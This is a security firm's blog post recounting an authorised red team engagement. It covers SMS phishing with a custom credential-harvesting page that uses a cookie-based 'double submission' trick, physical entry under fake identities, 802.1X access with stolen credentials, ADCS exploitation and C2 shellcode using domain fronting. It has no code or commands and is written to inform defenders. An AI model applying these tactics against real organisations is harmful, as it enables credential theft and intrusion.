Blog

By Kyle Burns, Lead of Offensive Security at Packetlabs.

From multi-factor authentication to conditional access, Microsoft customers have a variety of security controls at their disposal. As Red Teamers, it can often be difficult to circumvent individual security controls, but we manage. So, what happens when the opposition has accurately deployed multiple security controls in a secure manner? Does that mean they’re impenetrable? 

Well, no. A lot of the time, customers will focus on securing well-known or commonly discussed avenues of compromise, and why shouldn’t they? Given that the avenue is the most commonly exploited, it makes sense to invest resources into the heaviest targeted mediums. What this can sometimes cause, however, is the neglect of the other niche avenues. 

In this blog, we showcase a real-life experience with breaching externally hardened environments–by leveraging both employee social engineering and on-site operations. 

The Red Teaming Preparation Phase

For a bit of context, our Red Team assessments are normally 20 working days split into two phases; external breach and assumed breach. Where the former, we attempt to compromise the target from an adversarial perspective, whereas the ladder consists of having a device or beacon detonated in the target environment, which provides us with initial internal access. During both phases, two red team operators are assigned to the project. The benefit of performing the test this way is that clients will still see value in the second half if we are unable to get a foot-hold on the environment. If we succeed during the first phase, we will continue until we achieve the objectives outlined in the scope of the assessment. 

As all engagements started, we began with enumeration, of which we identified multiple pieces of information consisting of employee information like names, phone numbers, emails, etc, all gathered from zoom[.]info , the location of their VPN, and pictures of the organization's headquarters. This isn’t an exhaustive list, but information that was used later during the engagement. 

While all this information is nice, we crafted a series of phishing campaigns targeted at employees, all of which were either blocked or did not end up acting upon in any meaningful way.

Ok, so where to now? Normally, we find that organizations invest heavily into protection of email-based phishing protections. However, this isn’t the only medium for us to interact with potential targets. smishing, from experience, is seen to have great success with retrieving credentials assuming the pretext is accurate. Most organizations do not perform COPE (corporate-owned personally enabled) / CYOD (choose your own device), and instead use BYOD (bring your own device) for employee devices. If you’re not handling customer data, or accessing custom information on the device, for the most part, it’s fine. However, most employees aren’t aware of that separation and likely have some level of cross-contamination between corporate data and their self-owned devices. Assuming the organization was not performing any form of filtering or monitoring of the device, we began developing smishing campaigns. 

Pretext: Real-Life Example

One of the pretexts was the expiration of a VPN session, given that most people nowadays have some form of hybrid work. To leverage this pretext, I wrote a custom web application with Python3’s Flask library to suit our needs. 

One technique I normally implore with the custom deployments is the use of what I call ‘double submission’. Given the underlying application does not proxy the credentials, there is no way of validating the validity of the credentials; therefore submission of invalid credentials either burns the application by letting the end-user know it’s malicious through context clues or provides us with invalid data. The double submission technique attempts to resolve this issue by tracking users based on cookies. Cookies are set to track the amount of submission by the user, which dictates the type of response an end-user would receive. Therefore in the event a user wants to test invalid credentials to see if the application is real or accidentally enters invalid credentials, they’d receive an error on the first request(s). 

With everything ready, we sent off a few text messages to the targets. A few minutes later, we got a series of hits against the landing page. One of the targets had submitted credentials. Funny enough, during this SMS phishing, the target initially submitted the wrong password, with the second submission being the correct set of credentials. 

Okay, we’ve got credentials, so we can just log in, right? Well, no. The organization was found to have performed an interesting deployment, where users are required to present a certificate prior to accessing O365. With the credentials, we could request the certificate, but we were blocked by conditional access. 

At this point, two options existed: one, we could attempt to deliver malware to employees via email. The second option was using the credentials and heading to their head office, located in downtown Toronto. We opted for the latter. 

The Red Teaming Departure Phase 

Often, organizations invest heavily in remote external protections while neglecting physical protections. Offices with a walk-in policy, RJ45 sockets spread out everywhere, and wireless networks configured for 802.11x non-certificate-based inner authentication mediums make it trivial to infiltrate and gain access to the internal infrastructure.

While the risk of threat actors performing on-site breaches is unlikely, I’d argue that the capability to perform this is more reliant on an organization's detection capability. This means capturing the adversary through video feeds or some form of post-breach analysis. At the end of the day, the threat to an adversary of on-site compromise is the increased likelihood of their anonymity being disclosed.

Prior to going on-site, we had reviewed online documentation about the headquarters, this gave us a general understanding of some of the floors, but anything past reception would have to be dynamically approached.  

With the credentials, building enumeration, fake identities, and some nice suites, we went onsite to their Toronto location. Given the client's sensitivity, we’ll refrain from disclosing any of the images associated with the physical compromise; however, an accurate depiction of us walking through the hallways from compromised surveillance footage is available. 

Based on the office layout, entering from the reception area or using the elevator to access the actual offices was gated behind a keycard. The one exception to this was the conference rooms located on the first floor. 

Organizations often have conference rooms employees can book for various meetings. Fortunately for us, there were many available, and we leveraged the booking feature outside of the room to prevent anyone from accidentally booking the same room as us. 

We came prepared with two means of accessing the internal network. The first was a raspberry-pi configured to callback to a designed server, this would enable us to access the internal network at any time. This configuration assumes that no network access controls (NAC) when connecting internally and that outbound 443 over TCP using SSH protocol is not blocked. The second is connecting a physical laptop over RJ45 on-site. 

Within the room was conferencing hardware and a polycom soundstation. The benefit of these devices being present is their use of Power of Ethernet (PoE). Instead of giving that device an IP, it will not give our device an IP. 

Normally, the laptop is attempted first, given the Raspberry Pi's lack of debugging capabilities. When connecting the laptop, we were prompted for credentials, which suggests NAC controls like 802.1X were in place. Luckily for us, it wasn’t certificate-based (EAP-TLS). With the compromised credentials, we were able to successfully authenticate to the internal infrastructure.  

Red Teaming: The Challenge

For a bit of context, our Red Team engagements are structured around a series of objectives, five in this instance. As we attempt to emulate adversaries, the expectation is that the compensating controls or blue team would act on any alerts generated by us. This way, your organization can identify either gaps within detection and response capabilities and inversely validate the effectiveness of existing controls. Red Teams are not, however, an area to identify every vulnerability within the environment.  

That said, our objectives centered around gaining client financial data and lateral movement into various cloud services. Depending on the objective, it may be possible to target the services based on the privilege granted. Given the integrity required to achieve all the objectives, it was important to exploit vulnerabilities that could be leveraged to lateral move from different users. In this instance, we targeted and succeeded at exploiting Active Directory Certificate Services (ADCS). 

With the ability to impersonate high-integrity users, we deployed malware against core systems within the internal environment. The malware was shellcode developed to communicate with a C2 server using domain fronting. With remote access and our initial objective achieved, we were left in the organization's headquarters, with no one aware at that moment of what had just occurred.  

Our Triumph 

With remote access and the ability to impersonate specific employees, we began systematically completing each objective outlined in the rules of engagement. The objectives aren't inherently important to the story but provide insight as to why we emphasize providing some form of security investment into the aspects of your organization that connect the physical side to the digital side of your organization.

Conclusion 

Overall, the combination of physical security and external social engineering was leveraged to a high degree of success. This wasn’t a direct one-to-one walkthrough of our process and things performed on the assessment, but it focused on some of the more exciting parts. Our focus within this blog was to demonstrate what can trivially be performed against large-scale organizations. By throwing on a suit, an unregistered laptop, and a working set of credentials, we were able to fully compromise the organization. 

In later blogs, we’ll expand on other scenarios where we’ve leveraged similar tactics. The core difference is that we no longer need to expose our anonymity and what a response from a mature environment looks like.